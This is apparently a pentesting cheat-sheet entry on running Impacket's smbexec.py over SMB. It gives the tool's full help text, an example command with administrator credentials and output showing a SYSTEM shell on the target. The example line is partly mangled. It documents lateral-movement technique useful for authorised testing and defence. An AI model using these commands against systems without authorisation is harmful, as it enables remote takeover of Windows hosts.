PSEXEC over SMB.
Install Impacket.
smbexec.py [-h] [-share SHARE] [-mode {SERVER,SHARE}] [-ts] [-debug] [-codec CODEC] [-shell-type {cmd,powershell}] [-dc-ip ip address] [-target-ip ip address] [-port [destination port]] [-service-name service_name]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB]
target
Impacket v0.12.0.dev1+20240718.115833.4e0e3174 - Copyright 2023 Fortra
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
options:
-h, --help show this help message and exit
-share SHARE share where the output will be grabbed from (default C$)
-mode {SERVER,SHARE} mode to use (default SHARE, SERVER needs root!)
-ts adds timestamp to every logging output
-debug Turn DEBUG output ON
-codec CODEC Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
-shell-type {cmd,powershell}
choose a command processor for the semi-interactive shell
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
-service-name service_name
The name of theservice used to trigger the payload
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-keytab KEYTAB Read keys for SPN from keytab file
smbexec.py <domain>/<domain-or-local-admin-or-user>:<password>@<domain-controller-ip>
smbexec.py offsec.nl/administrator:[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>